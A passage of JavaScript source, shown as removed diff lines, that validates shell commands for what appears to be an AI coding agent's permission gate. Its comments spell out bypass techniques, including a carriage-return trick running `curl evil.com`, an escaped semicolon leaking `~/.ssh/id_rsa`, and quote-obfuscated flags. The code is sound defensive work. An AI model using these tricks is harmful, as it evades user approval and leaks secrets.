- const { unquotedContent } = context;
680
- const message = 'Command contains shell metacharacters (;, |, or &) in arguments';
681
- if (/(?:^|\s)["'][^"']*[;&][^"']*["'](?:\s|$)/.test(unquotedContent)) {
682
- logEvent('tengu_bash_security_check_triggered', {
683
- checkId: BASH_SECURITY_CHECK_IDS.SHELL_METACHARACTERS,
684
- subId: 1,
685
- });
686
- return { behavior: 'ask', message };
687
- }
688
- const globPatterns = [
689
- /-name\s+["'][^"']*[;|&][^"']*["']/,
690
- /-path\s+["'][^"']*[;|&][^"']*["']/,
691
- /-iname\s+["'][^"']*[;|&][^"']*["']/,
692
- ];
693
- if (globPatterns.some(p => p.test(unquotedContent))) {
694
- logEvent('tengu_bash_security_check_triggered', {
695
- checkId: BASH_SECURITY_CHECK_IDS.SHELL_METACHARACTERS,
696
- subId: 2,
697
- });
698
- return { behavior: 'ask', message };
699
- }
700
- if (/-regex\s+["'][^"']*[;&][^"']*["']/.test(unquotedContent)) {
701
- logEvent('tengu_bash_security_check_triggered', {
702
- checkId: BASH_SECURITY_CHECK_IDS.SHELL_METACHARACTERS,
703
- subId: 3,
704
- });
705
- return { behavior: 'ask', message };
706
- }
707
- return { behavior: 'passthrough', message: 'No metacharacters' };
708
- }
709
- function validateDangerousVariables(context) {
710
- const { fullyUnquotedContent } = context;
711
- if (/[<>|]\s*\$[A-Za-z_]/.test(fullyUnquotedContent) ||
712
- /\$[A-Za-z_][A-Za-z0-9_]*\s*[|<>]/.test(fullyUnquotedContent)) {
713
- logEvent('tengu_bash_security_check_triggered', {
714
- checkId: BASH_SECURITY_CHECK_IDS.DANGEROUS_VARIABLES,
715
- subId: 1,
716
- });
717
- return {
718
- behavior: 'ask',
719
- message: 'Command contains variables in dangerous contexts (redirections or pipes)',
720
- };
721
- }
722
- return { behavior: 'passthrough', message: 'No dangerous variables' };
723
- }
724
- function validateDangerousPatterns(context) {
725
- const { unquotedContent } = context;
726
- // Special handling for backticks - check for UNESCAPED backticks only
727
- // Escaped backticks (e.g., \`) are safe and commonly used in SQL commands
728
- if (hasUnescapedChar(unquotedContent, '`')) {
729
- return {
730
- behavior: 'ask',
731
- message: 'Command contains backticks (`) for command substitution',
732
- };
733
- }
734
- // Other command substitution checks (include double-quoted content)
735
- for (const { pattern, message } of COMMAND_SUBSTITUTION_PATTERNS) {
736
- if (pattern.test(unquotedContent)) {
737
- logEvent('tengu_bash_security_check_triggered', {
738
- checkId: BASH_SECURITY_CHECK_IDS.DANGEROUS_PATTERNS_COMMAND_SUBSTITUTION,
739
- subId: 1,
740
- });
741
- return { behavior: 'ask', message: `Command contains ${message}` };
742
- }
743
- }
744
- return { behavior: 'passthrough', message: 'No dangerous patterns' };
745
- }
746
- function validateRedirections(context) {
747
- const { fullyUnquotedContent } = context;
748
- if (/</.test(fullyUnquotedContent)) {
749
- logEvent('tengu_bash_security_check_triggered', {
750
- checkId: BASH_SECURITY_CHECK_IDS.DANGEROUS_PATTERNS_INPUT_REDIRECTION,
751
- subId: 1,
752
- });
753
- return {
754
- behavior: 'ask',
755
- message: 'Command contains input redirection (<) which could read sensitive files',
756
- };
757
- }
758
- if (/>/.test(fullyUnquotedContent)) {
759
- logEvent('tengu_bash_security_check_triggered', {
760
- checkId: BASH_SECURITY_CHECK_IDS.DANGEROUS_PATTERNS_OUTPUT_REDIRECTION,
761
- subId: 1,
762
- });
763
- return {
764
- behavior: 'ask',
765
- message: 'Command contains output redirection (>) which could write to arbitrary files',
766
- };
767
- }
768
- return { behavior: 'passthrough', message: 'No redirections' };
769
- }
770
- function validateNewlines(context) {
771
- // Use fullyUnquotedPreStrip (before stripSafeRedirections) to prevent bypasses
772
- // where stripping `>/dev/null` creates a phantom backslash-newline continuation.
773
- // E.g., `cmd \>/dev/null\nwhoami` → after stripping becomes `cmd \\nwhoami`
774
- // which looks like a safe continuation but actually hides a second command.
775
- const { fullyUnquotedPreStrip } = context;
776
- // Check for newlines in unquoted content
777
- if (!/[\n\r]/.test(fullyUnquotedPreStrip)) {
778
- return { behavior: 'passthrough', message: 'No newlines' };
779
- }
780
- // Flag any newline/CR followed by non-whitespace, EXCEPT backslash-newline
781
- // continuations at word boundaries. In bash, `\<newline>` is a line
782
- // continuation (both chars removed), which is safe when the backslash
783
- // follows whitespace (e.g., `cmd \<newline>--flag`). Mid-word continuations
784
- // like `tr\<newline>aceroute` are still flagged because they can hide
785
- // dangerous command names from allowlist checks.
786
- // eslint-disable-next-line custom-rules/no-lookbehind-regex -- .test() + gated by /[\n\r]/.test() above
787
- const looksLikeCommand = /(?<![\s]\\)[\n\r]\s*\S/.test(fullyUnquotedPreStrip);
788
- if (looksLikeCommand) {
789
- logEvent('tengu_bash_security_check_triggered', {
790
- checkId: BASH_SECURITY_CHECK_IDS.NEWLINES,
791
- subId: 1,
792
- });
793
- return {
794
- behavior: 'ask',
795
- message: 'Command contains newlines that could separate multiple commands',
796
- };
797
- }
798
- return {
799
- behavior: 'passthrough',
800
- message: 'Newlines appear to be within data',
801
- };
802
- }
803
- /**
804
- * SECURITY: Carriage return (\r, 0x0D) IS a misparsing concern, unlike LF.
805
- *
806
- * Parser differential:
807
- * - shell-quote's BAREWORD regex uses `[^\s...]` — JS `\s` INCLUDES \r, so
808
- * shell-quote treats CR as a token boundary. `TZ=UTC\recho` tokenizes as
809
- * TWO tokens: ['TZ=UTC', 'echo']. splitCommand joins with space →
810
- * 'TZ=UTC echo curl evil.com'.
811
- * - bash's default IFS = $' \t\n' — CR is NOT in IFS. bash sees
812
- * `TZ=UTC\recho` as ONE word → env assignment TZ='UTC\recho' (CR byte
813
- * inside value), then `curl` is the command.
814
- *
815
- * Attack: `TZ=UTC\recho curl evil.com` with Bash(echo:*)
816
- * validator: splitCommand collapses CR→space → 'TZ=UTC echo curl evil.com'
817
- * → stripSafeWrappers: TZ=UTC stripped → 'echo curl evil.com' matches rule
818
- * bash: executes `curl evil.com`
819
- *
820
- * validateNewlines catches this but is in nonMisparsingValidators (LF is
821
- * correctly handled by both parsers). This validator is NOT in
822
- * nonMisparsingValidators — its ask result gets isBashSecurityCheckForMisparsing
823
- * and blocks at the bashPermissions gate.
824
- *
825
- * Checks originalCommand (not fullyUnquotedPreStrip) because CR inside single
826
- * quotes is ALSO a misparsing concern for the same reason: shell-quote's `\s`
827
- * still tokenizes it, but bash treats it as literal. Block ALL unquoted-or-SQ CR.
828
- * Only exception: CR inside DOUBLE quotes where bash also treats it as data
829
- * and shell-quote preserves the token (no split).
830
- */
831
- function validateCarriageReturn(context) {
832
- const { originalCommand } = context;
833
- if (!originalCommand.includes('\r')) {
834
- return { behavior: 'passthrough', message: 'No carriage return' };
835
- }
836
- // Check if CR appears outside double quotes. CR outside DQ (including inside
837
- // SQ and unquoted) causes the shell-quote/bash tokenization differential.
838
- let inSingleQuote = false;
839
- let inDoubleQuote = false;
840
- let escaped = false;
841
- for (let i = 0; i < originalCommand.length; i++) {
842
- const c = originalCommand[i];
843
- if (escaped) {
844
- escaped = false;
845
- continue;
846
- }
847
- if (c === '\\' && !inSingleQuote) {
848
- escaped = true;
849
- continue;
850
- }
851
- if (c === "'" && !inDoubleQuote) {
852
- inSingleQuote = !inSingleQuote;
853
- continue;
854
- }
855
- if (c === '"' && !inSingleQuote) {
856
- inDoubleQuote = !inDoubleQuote;
857
- continue;
858
- }
859
- if (c === '\r' && !inDoubleQuote) {
860
- logEvent('tengu_bash_security_check_triggered', {
861
- checkId: BASH_SECURITY_CHECK_IDS.NEWLINES,
862
- subId: 2,
863
- });
864
- return {
865
- behavior: 'ask',
866
- message: 'Command contains carriage return (\\r) which shell-quote and bash tokenize differently',
867
- };
868
- }
869
- }
870
- return { behavior: 'passthrough', message: 'CR only inside double quotes' };
871
- }
872
- function validateIFSInjection(context) {
873
- const { originalCommand } = context;
874
- // Detect any usage of IFS variable which could be used to bypass regex validation
875
- // Check for $IFS and ${...IFS...} patterns (including parameter expansions like ${IFS:0:1}, ${#IFS}, etc.)
876
- // Using ${[^}]*IFS to catch all parameter expansion variations with IFS
877
- if (/\$IFS|\$\{[^}]*IFS/.test(originalCommand)) {
878
- logEvent('tengu_bash_security_check_triggered', {
879
- checkId: BASH_SECURITY_CHECK_IDS.IFS_INJECTION,
880
- subId: 1,
881
- });
882
- return {
883
- behavior: 'ask',
884
- message: 'Command contains IFS variable usage which could bypass security validation',
885
- };
886
- }
887
- return { behavior: 'passthrough', message: 'No IFS injection detected' };
888
- }
889
- // Additional hardening against reading environment variables via /proc filesystem.
890
- // Path validation typically blocks /proc access, but this provides defense-in-depth.
891
- // Environment files in /proc can expose sensitive data like API keys and secrets.
892
- function validateProcEnvironAccess(context) {
893
- const { originalCommand } = context;
894
- // Check for /proc paths that could expose environment variables
895
- // This catches patterns like:
896
- // - /proc/self/environ
897
- // - /proc/1/environ
898
- // - /proc/*/environ (with any PID)
899
- if (/\/proc\/.*\/environ/.test(originalCommand)) {
900
- logEvent('tengu_bash_security_check_triggered', {
901
- checkId: BASH_SECURITY_CHECK_IDS.PROC_ENVIRON_ACCESS,
902
- subId: 1,
903
- });
904
- return {
905
- behavior: 'ask',
906
- message: 'Command accesses /proc/*/environ which could expose sensitive environment variables',
907
- };
908
- }
909
- return {
910
- behavior: 'passthrough',
911
- message: 'No /proc/environ access detected',
912
- };
913
- }
914
- /**
915
- * Detects commands with malformed tokens (unbalanced delimiters) combined with
916
- * command separators. This catches potential injection patterns where ambiguous
917
- * shell syntax could be exploited.
918
- *
919
- * Security: This check catches the eval bypass discovered in HackerOne review.
920
- * When shell-quote parses ambiguous patterns like `echo {"hi":"hi;evil"}`,
921
- * it may produce unbalanced tokens (e.g., `{hi:"hi`). Combined with command
922
- * separators, this can lead to unintended command execution via eval re-parsing.
923
- *
924
- * By forcing user approval for these patterns, we ensure the user sees exactly
925
- * what will be executed before approving.
926
- */
927
- function validateMalformedTokenInjection(context) {
928
- const { originalCommand } = context;
929
- const parseResult = tryParseShellCommand(originalCommand);
930
- if (!parseResult.success) {
931
- // Parse failed - this is handled elsewhere (bashToolHasPermission checks this)
932
- return {
933
- behavior: 'passthrough',
934
- message: 'Parse failed, handled elsewhere',
935
- };
936
- }
937
- const parsed = parseResult.tokens;
938
- // Check for command separators (;, &&, ||)
939
- const hasCommandSeparator = parsed.some(entry => typeof entry === 'object' &&
940
- entry !== null &&
941
- 'op' in entry &&
942
- (entry.op === ';' || entry.op === '&&' || entry.op === '||'));
943
- if (!hasCommandSeparator) {
944
- return { behavior: 'passthrough', message: 'No command separators' };
945
- }
946
- // Check for malformed tokens (unbalanced delimiters)
947
- if (hasMalformedTokens(originalCommand, parsed)) {
948
- logEvent('tengu_bash_security_check_triggered', {
949
- checkId: BASH_SECURITY_CHECK_IDS.MALFORMED_TOKEN_INJECTION,
950
- subId: 1,
951
- });
952
- return {
953
- behavior: 'ask',
954
- message: 'Command contains ambiguous syntax with command separators that could be misinterpreted',
955
- };
956
- }
957
- return {
958
- behavior: 'passthrough',
959
- message: 'No malformed token injection detected',
960
- };
961
- }
962
- function validateObfuscatedFlags(context) {
963
- // Block shell quoting bypass patterns used to circumvent negative lookaheads we use in our regexes to block known dangerous flags
964
- const { originalCommand, baseCommand } = context;
965
- // Echo is safe for obfuscated flags, BUT only for simple echo commands.
966
- // For compound commands (with |, &, ;), we need to check the whole command
967
- // because the dangerous ANSI-C quoting might be after the operator.
968
- const hasShellOperators = /[|&;]/.test(originalCommand);
969
- if (baseCommand === 'echo' && !hasShellOperators) {
970
- return {
971
- behavior: 'passthrough',
972
- message: 'echo command is safe and has no dangerous flags',
973
- };
974
- }
975
- // COMPREHENSIVE OBFUSCATION DETECTION
976
- // These checks catch various ways to hide flags using shell quoting
977
- // 1. Block ANSI-C quoting ($'...') - can encode any character via escape sequences
978
- // Simple pattern that matches $'...' anywhere. This correctly handles:
979
- // - grep '$' file => no match ($ is regex anchor inside quotes, no $'...' structure)
980
- // - 'test'$'-exec' => match (quote concatenation with ANSI-C)
981
- // - Zero-width space and other invisible chars => match
982
- // The pattern requires $' followed by content (can be empty) followed by closing '
983
- if (/\$'[^']*'/.test(originalCommand)) {
984
- logEvent('tengu_bash_security_check_triggered', {
985
- checkId: BASH_SECURITY_CHECK_IDS.OBFUSCATED_FLAGS,
986
- subId: 5,
987
- });
988
- return {
989
- behavior: 'ask',
990
- message: 'Command contains ANSI-C quoting which can hide characters',
991
- };
992
- }
993
- // 2. Block locale quoting ($"...") - can also use escape sequences
994
- // Same simple pattern as ANSI-C quoting above
995
- if (/\$"[^"]*"/.test(originalCommand)) {
996
- logEvent('tengu_bash_security_check_triggered', {
997
- checkId: BASH_SECURITY_CHECK_IDS.OBFUSCATED_FLAGS,
998
- subId: 6,
999
- });
1000
- return {
1001
- behavior: 'ask',
1002
- message: 'Command contains locale quoting which can hide characters',
1003
- };
1004
- }
1005
- // 3. Block empty ANSI-C or locale quotes followed by dash
1006
- // $''-exec or $""-exec
1007
- if (/\$['"]{2}\s*-/.test(originalCommand)) {
1008
- logEvent('tengu_bash_security_check_triggered', {
1009
- checkId: BASH_SECURITY_CHECK_IDS.OBFUSCATED_FLAGS,
1010
- subId: 9,
1011
- });
1012
- return {
1013
- behavior: 'ask',
1014
- message: 'Command contains empty special quotes before dash (potential bypass)',
1015
- };
1016
- }
1017
- // 4. Block ANY sequence of empty quotes followed by dash
1018
- // This catches: ''- ""- ''""- ""''- ''""''- etc.
1019
- // The pattern looks for one or more empty quote pairs followed by optional whitespace and dash
1020
- if (/(?:^|\s)(?:''|"")+\s*-/.test(originalCommand)) {
1021
- logEvent('tengu_bash_security_check_triggered', {
1022
- checkId: BASH_SECURITY_CHECK_IDS.OBFUSCATED_FLAGS,
1023
- subId: 7,
1024
- });
1025
- return {
1026
- behavior: 'ask',
1027
- message: 'Command contains empty quotes before dash (potential bypass)',
1028
- };
1029
- }
1030
- // 4b. SECURITY: Block homogeneous empty quote pair(s) immediately adjacent
1031
- // to a quoted dash. Patterns like `"""-f"` (empty `""` + quoted `"-f"`)
1032
- // concatenate in bash to `-f` but slip past all the above checks:
1033
- // - Regex (4) above: `(?:''|"")+\s*-` matches `""` pair, then expects
1034
- // optional space and dash — but finds a third `"` instead. No match.
1035
- // - Quote-content scanner (below): Sees the first `""` pair with empty
1036
- // content (doesn't start with dash). The third `"` opens a new quoted
1037
- // region handled by the main quote-state tracker.
1038
- // - Quote-state tracker: `""` toggles inDoubleQuote on/off; third `"`
1039
- // opens it again. The `-` inside `"-f"` is INSIDE quotes → skipped.
1040
- // - Flag scanner: Looks for `\s` before `-`. The `-` is preceded by `"`.
1041
- // - fullyUnquotedContent: Both `""` and `"-f"` get stripped.
1042
- //
1043
- // In bash, `"""-f"` = empty string + string "-f" = `-f`. This bypass works
1044
- // for ANY dangerous-flag check (jq -f, find -exec, fc -e) with a matching
1045
- // prefix permission (Bash(jq:*), Bash(find:*)).
1046
- //
1047
- // The regex `(?:""|'')+['"]-` matches:
1048
- // - One or more HOMOGENEOUS empty pairs (`""` or `''`) — the concatenation
1049
- // point where bash joins the empty string to the flag.
1050
- // - Immediately followed by ANY quote char — opens the flag-quoted region.
1051
- // - Immediately followed by `-` — the obfuscated flag.
1052
- //
1053
- // POSITION-AGNOSTIC: We do NOT require word-start (`(?:^|\s)`) because
1054
- // prefixes like `$x"""-f"` (unset/empty variable) concatenate the same way.
1055
- // The homogeneous-empty-pair requirement filters out the `'"'"'` idiom
1056
- // (no homogeneous empty pair — it's close, double-quoted-content, open).
1057
- //
1058
- // FALSE POSITIVE: Matches `echo '"""-f" text'` (pattern inside single-quoted
1059
- // string). Extremely rare (requires echoing the literal attack). Acceptable.
1060
- if (/(?:""|'')+['"]-/.test(originalCommand)) {
1061
- logEvent('tengu_bash_security_check_triggered', {
1062
- checkId: BASH_SECURITY_CHECK_IDS.OBFUSCATED_FLAGS,
1063
- subId: 10,
1064
- });
1065
- return {
1066
- behavior: 'ask',
1067
- message: 'Command contains empty quote pair adjacent to quoted dash (potential flag obfuscation)',
1068
- };
1069
- }
1070
- // 4c. SECURITY: Also block 3+ consecutive quotes at word start even without
1071
- // an immediate dash. Broader safety net for multi-quote obfuscation patterns
1072
- // not enumerated above (e.g., `"""x"-f` where content between quotes shifts
1073
- // the dash position). Legitimate commands never need `"""x"` when `"x"` works.
1074
- if (/(?:^|\s)['"]{3,}/.test(originalCommand)) {
1075
- logEvent('tengu_bash_security_check_triggered', {
1076
- checkId: BASH_SECURITY_CHECK_IDS.OBFUSCATED_FLAGS,
1077
- subId: 11,
1078
- });
1079
- return {
1080
- behavior: 'ask',
1081
- message: 'Command contains consecutive quote characters at word start (potential obfuscation)',
1082
- };
1083
- }
1084
- // Track quote state to avoid false positives for flags inside quoted strings
1085
- let inSingleQuote = false;
1086
- let inDoubleQuote = false;
1087
- let escaped = false;
1088
- for (let i = 0; i < originalCommand.length - 1; i++) {
1089
- const currentChar = originalCommand[i];
1090
- const nextChar = originalCommand[i + 1];
1091
- // Update quote state
1092
- if (escaped) {
1093
- escaped = false;
1094
- continue;
1095
- }
1096
- // SECURITY: Only treat backslash as escape OUTSIDE single quotes. In bash,
1097
- // `\` inside `'...'` is LITERAL. Without this guard, `'\'` desyncs the
1098
- // quote tracker: `\` sets escaped=true, closing `'` is consumed by the
1099
- // escaped-skip above instead of toggling inSingleQuote. Parser stays in
1100
- // single-quote mode, and the `if (inSingleQuote || inDoubleQuote) continue`
1101
- // at line ~1121 skips ALL subsequent flag detection for the rest of the
1102
- // command. Example: `jq '\' "-f" evil` — bash gets `-f` arg, but desynced
1103
- // parser thinks ` "-f" evil` is inside quotes → flag detection bypassed.
1104
- // Defense-in-depth: hasShellQuoteSingleQuoteBug catches `'\'` patterns at
1105
- // line ~1856 before this runs. But we fix the tracker for consistency with
1106
- // the CORRECT implementations elsewhere in this file (hasBackslashEscaped*,
1107
- // extractQuotedContent) which all guard with `!inSingleQuote`.
1108
- if (currentChar === '\\' && !inSingleQuote) {
1109
- escaped = true;
1110
- continue;
1111
- }
1112
- if (currentChar === "'" && !inDoubleQuote) {
1113
- inSingleQuote = !inSingleQuote;
1114
- continue;
1115
- }
1116
- if (currentChar === '"' && !inSingleQuote) {
1117
- inDoubleQuote = !inDoubleQuote;
1118
- continue;
1119
- }
1120
- // Only look for flags when not inside quoted strings
1121
- // This prevents false positives like: make test TEST="file.py -v"
1122
- if (inSingleQuote || inDoubleQuote) {
1123
- continue;
1124
- }
1125
- // Look for whitespace followed by quote that contains a dash (potential flag obfuscation)
1126
- // SECURITY: Block ANY quoted content starting with dash - err on side of safety
1127
- // Catches: "-"exec, "-file", "--flag", '-'output, etc.
1128
- // Users can approve manually if legitimate (e.g., find . -name "-file")
1129
- if (currentChar &&
1130
- nextChar &&
1131
- /\s/.test(currentChar) &&
1132
- /['"`]/.test(nextChar)) {
1133
- const quoteChar = nextChar;
1134
- let j = i + 2; // Start after the opening quote
1135
- let insideQuote = '';
1136
- // Collect content inside the quote
1137
- while (j < originalCommand.length && originalCommand[j] !== quoteChar) {
1138
- insideQuote += originalCommand[j];
1139
- j++;
1140
- }
1141
- // If we found a closing quote and the content looks like an obfuscated flag, block it.
1142
- // Three attack patterns to catch:
1143
- // 1. Flag name inside quotes: "--flag", "-exec", "-X" (dashes + letters inside)
1144
- // 2. Split-quote flag: "-"exec, "--"output (dashes inside, letters continue after quote)
1145
- // 3. Chained quotes: "-""exec" (dashes in first quote, second quote contains letters)
1146
- // Pure-dash strings like "---" or "--" followed by whitespace/separator are separators,
1147
- // not flags, and should not trigger this check.
1148
- const charAfterQuote = originalCommand[j + 1];
1149
- // Inside double quotes, $VAR and `cmd` expand at runtime, so "-$VAR" can
1150
- // become -exec. Blocking $ and ` here over-blocks single-quoted literals
1151
- // like grep '-$' (where $ is literal), but main's startsWith('-') already
1152
- // blocked those — this restores status quo, not a new false positive.
1153
- // Brace expansion ({) does NOT happen inside quotes, so { is not needed here.
1154
- const hasFlagCharsInside = /^-+[a-zA-Z0-9$`]/.test(insideQuote);
1155
- // Characters that can continue a flag after a closing quote. This catches:
1156
- // a-zA-Z0-9: "-"exec → -exec (direct concatenation)
1157
- // \\: "-"\exec → -exec (backslash escape is stripped)
1158
- // -: "-"-output → --output (extra dashes)
1159
- // {: "-"{exec,delete} → -exec -delete (brace expansion)
1160
- // $: "-"$VAR → -exec when VAR=exec (variable expansion)
1161
- // `: "-"`echo exec` → -exec (command substitution)
1162
- // Note: glob chars (*?[) are omitted — they require attacker-controlled
1163
- // filenames in CWD to exploit, and blocking them would break patterns
1164
- // like `ls -- "-"*` for listing files that start with dash.
1165
- const FLAG_CONTINUATION_CHARS = /[a-zA-Z0-9\\${`-]/;
1166
- const hasFlagCharsContinuing = /^-+$/.test(insideQuote) &&
1167
- charAfterQuote !== undefined &&
1168
- FLAG_CONTINUATION_CHARS.test(charAfterQuote);
1169
- // Handle adjacent quote chaining: "-""exec" or "-""-"exec or """-"exec concatenates
1170
- // to -exec in shell. Follow the chain of adjacent quoted segments until
1171
- // we find one containing an alphanumeric char or hit a non-quote boundary.
1172
- // Also handles empty prefix quotes: """-"exec where "" is followed by "-"exec
1173
- // The combined segments form a flag if they contain dash(es) followed by alphanumerics.
1174
- const hasFlagCharsInNextQuote =
1175
- // Trigger when: first segment is only dashes OR empty (could be prefix for flag)
1176
- (insideQuote === '' || /^-+$/.test(insideQuote)) &&
1177
- charAfterQuote !== undefined &&
1178
- /['"`]/.test(charAfterQuote) &&
1179
- (() => {
1180
- let pos = j + 1; // Start at charAfterQuote (an opening quote)
1181
- let combinedContent = insideQuote; // Track what the shell will see
1182
- while (pos < originalCommand.length &&
1183
- /['"`]/.test(originalCommand[pos])) {
1184
- const segQuote = originalCommand[pos];
1185
- let end = pos + 1;
1186
- while (end < originalCommand.length &&
1187
- originalCommand[end] !== segQuote) {
1188
- end++;
1189
- }
1190
- const segment = originalCommand.slice(pos + 1, end);
1191
- combinedContent += segment;
1192
- // Check if combined content so far forms a flag pattern.
1193
- // Include $ and ` for in-quote expansion: "-""$VAR" → -exec
1194
- if (/^-+[a-zA-Z0-9$`]/.test(combinedContent))
1195
- return true;
1196
- // If this segment has alphanumeric/expansion and we already have dashes,
1197
- // it's a flag. Catches "-""$*" where segment='$*' has no alnum but
1198
- // expands to positional params at runtime.
1199
- // Guard against segment.length === 0: slice(0, -0) → slice(0, 0) → ''.
1200
- const priorContent = segment.length > 0
1201
- ? combinedContent.slice(0, -segment.length)
1202
- : combinedContent;
1203
- if (/^-+$/.test(priorContent)) {
1204
- if (/[a-zA-Z0-9$`]/.test(segment))
1205
- return true;
1206
- }
1207
- if (end >= originalCommand.length)
1208
- break; // Unclosed quote
1209
- pos = end + 1; // Move past closing quote to check next segment
1210
- }
1211
- // Also check the unquoted char at the end of the chain
1212
- if (pos < originalCommand.length &&
1213
- FLAG_CONTINUATION_CHARS.test(originalCommand[pos])) {
1214
- // If we have dashes in combined content, the trailing char completes a flag
1215
- if (/^-+$/.test(combinedContent) || combinedContent === '') {
1216
- // Check if we're about to form a flag with the following content
1217
- const nextChar = originalCommand[pos];
1218
- if (nextChar === '-') {
1219
- // More dashes, could still form a flag
1220
- return true;
1221
- }
1222
- if (/[a-zA-Z0-9\\${`]/.test(nextChar) && combinedContent !== '') {
1223
- // We have dashes and now alphanumeric/expansion follows
1224
- return true;
1225
- }
1226
- }
1227
- // Original check for dashes followed by alphanumeric
1228
- if (/^-/.test(combinedContent)) {
1229
- return true;
1230
- }
1231
- }
1232
- return false;
1233
- })();
1234
- if (j < originalCommand.length &&
1235
- originalCommand[j] === quoteChar &&
1236
- (hasFlagCharsInside ||
1237
- hasFlagCharsContinuing ||
1238
- hasFlagCharsInNextQuote)) {
1239
- logEvent('tengu_bash_security_check_triggered', {
1240
- checkId: BASH_SECURITY_CHECK_IDS.OBFUSCATED_FLAGS,
1241
- subId: 4,
1242
- });
1243
- return {
1244
- behavior: 'ask',
1245
- message: 'Command contains quoted characters in flag names',
1246
- };
1247
- }
1248
- }
1249
- // Look for whitespace followed by dash - this starts a flag
1250
- if (currentChar && nextChar && /\s/.test(currentChar) && nextChar === '-') {
1251
- let j = i + 1; // Start at the dash
1252
- let flagContent = '';
1253
- // Collect flag content
1254
- while (j < originalCommand.length) {
1255
- const flagChar = originalCommand[j];
1256
- if (!flagChar)
1257
- break;
1258
- // End flag content once we hit whitespace or an equals sign
1259
- if (/[\s=]/.test(flagChar)) {
1260
- break;
1261
- }
1262
- // End flag collection if we hit quote followed by non-flag character. This is needed to handle cases like -d"," which should be parsed as just -d
1263
- if (/['"`]/.test(flagChar)) {
1264
- // Special case for cut -d flag: the delimiter value can be quoted
1265
- // Example: cut -d'"' should parse as flag name: -d, value: '"'
1266
- // Note: We only apply this exception to cut -d specifically to avoid bypasses.
1267
- // Without this restriction, a command like `find -e"xec"` could be parsed as
1268
- // flag name: -e, bypassing our blocklist for -exec. By restricting to cut -d,
1269
- // we allow the legitimate use case while preventing obfuscation attacks on other
1270
- // commands where quoted flag values could hide dangerous flag names.
1271
- if (baseCommand === 'cut' &&
1272
- flagContent === '-d' &&
1273
- /['"`]/.test(flagChar)) {
1274
- // This is cut -d followed by a quoted delimiter - flagContent is already '-d'
1275
- break;
1276
- }
1277
- // Look ahead to see what follows the quote
1278
- if (j + 1 < originalCommand.length) {
1279
- const nextFlagChar = originalCommand[j + 1];
1280
- if (nextFlagChar && !/[a-zA-Z0-9_'"-]/.test(nextFlagChar)) {
1281
- // Quote followed by something that is clearly not part of a flag, end the parsing
1282
- break;
1283
- }
1284
- }
1285
- }
1286
- flagContent += flagChar;
1287
- j++;
1288
- }
1289
- if (flagContent.includes('"') || flagContent.includes("'")) {
1290
- logEvent('tengu_bash_security_check_triggered', {
1291
- checkId: BASH_SECURITY_CHECK_IDS.OBFUSCATED_FLAGS,
1292
- subId: 1,
1293
- });
1294
- return {
1295
- behavior: 'ask',
1296
- message: 'Command contains quoted characters in flag names',
1297
- };
1298
- }
1299
- }
1300
- }
1301
- // Also handle flags that start with quotes: "--"output, '-'-output, etc.
1302
- // Use fullyUnquotedContent to avoid false positives from legitimate quoted content like echo "---"
1303
- if (/\s['"`]-/.test(context.fullyUnquotedContent)) {
1304
- logEvent('tengu_bash_security_check_triggered', {
1305
- checkId: BASH_SECURITY_CHECK_IDS.OBFUSCATED_FLAGS,
1306
- subId: 2,
1307
- });
1308
- return {
1309
- behavior: 'ask',
1310
- message: 'Command contains quoted characters in flag names',
1311
- };
1312
- }
1313
- // Also handles cases like ""--output
1314
- // Use fullyUnquotedContent to avoid false positives from legitimate quoted content
1315
- if (/['"`]{2}-/.test(context.fullyUnquotedContent)) {
1316
- logEvent('tengu_bash_security_check_triggered', {
1317
- checkId: BASH_SECURITY_CHECK_IDS.OBFUSCATED_FLAGS,
1318
- subId: 3,
1319
- });
1320
- return {
1321
- behavior: 'ask',
1322
- message: 'Command contains quoted characters in flag names',
1323
- };
1324
- }
1325
- return { behavior: 'passthrough', message: 'No obfuscated flags detected' };
1326
- }
1327
- /**
1328
- * Detects backslash-escaped whitespace characters (space, tab) outside of quotes.
1329
- *
1330
- * In bash, `echo\ test` is a single token (command named "echo test"), but
1331
- * shell-quote decodes the escape and produces `echo test` (two separate tokens).
1332
- * This discrepancy allows path traversal attacks like:
1333
- * echo\ test/../../../usr/bin/touch /tmp/file
1334
- * which the parser sees as `echo test/.../touch /tmp/file` (an echo command)
1335
- * but bash resolves as `/usr/bin/touch /tmp/file` (via directory "echo test").
1336
- */
1337
- function hasBackslashEscapedWhitespace(command) {
1338
- let inSingleQuote = false;
1339
- let inDoubleQuote = false;
1340
- for (let i = 0; i < command.length; i++) {
1341
- const char = command[i];
1342
- if (char === '\\' && !inSingleQuote) {
1343
- if (!inDoubleQuote) {
1344
- const nextChar = command[i + 1];
1345
- if (nextChar === ' ' || nextChar === '\t') {
1346
- return true;
1347
- }
1348
- }
1349
- // Skip the escaped character (both outside quotes and inside double quotes,
1350
- // where \\, \", \$, \` are valid escape sequences)
1351
- i++;
1352
- continue;
1353
- }
1354
- if (char === '"' && !inSingleQuote) {
1355
- inDoubleQuote = !inDoubleQuote;
1356
- continue;
1357
- }
1358
- if (char === "'" && !inDoubleQuote) {
1359
- inSingleQuote = !inSingleQuote;
1360
- continue;
1361
- }
1362
- }
1363
- return false;
1364
- }
1365
- function validateBackslashEscapedWhitespace(context) {
1366
- if (hasBackslashEscapedWhitespace(context.originalCommand)) {
1367
- logEvent('tengu_bash_security_check_triggered', {
1368
- checkId: BASH_SECURITY_CHECK_IDS.BACKSLASH_ESCAPED_WHITESPACE,
1369
- });
1370
- return {
1371
- behavior: 'ask',
1372
- message: 'Command contains backslash-escaped whitespace that could alter command parsing',
1373
- };
1374
- }
1375
- return {
1376
- behavior: 'passthrough',
1377
- message: 'No backslash-escaped whitespace',
1378
- };
1379
- }
1380
- /**
1381
- * Detects a backslash immediately preceding a shell operator outside of quotes.
1382
- *
1383
- * SECURITY: splitCommand normalizes `\;` to a bare `;` in its output string.
1384
- * When downstream code (checkReadOnlyConstraints, checkPathConstraints, etc.)
1385
- * re-parses that normalized string, the bare `;` is seen as an operator and
1386
- * causes a false split. This enables arbitrary file read bypassing path checks:
1387
- *
1388
- * cat safe.txt \; echo ~/.ssh/id_rsa
1389
- *
1390
- * In bash: ONE cat command reading safe.txt, ;, echo, ~/.ssh/id_rsa as files.
1391
- * After splitCommand normalizes: "cat safe.txt ; echo ~/.ssh/id_rsa"
1392
- * Nested re-parse: ["cat safe.txt", "echo ~/.ssh/id_rsa"] — both segments
1393
- * pass isCommandReadOnly, sensitive path hidden in echo segment is never
1394
- * validated by path constraints. Auto-allowed. Private key leaked.
1395
- *
1396
- * This check flags any \<operator> regardless of backslash parity. Even counts
1397
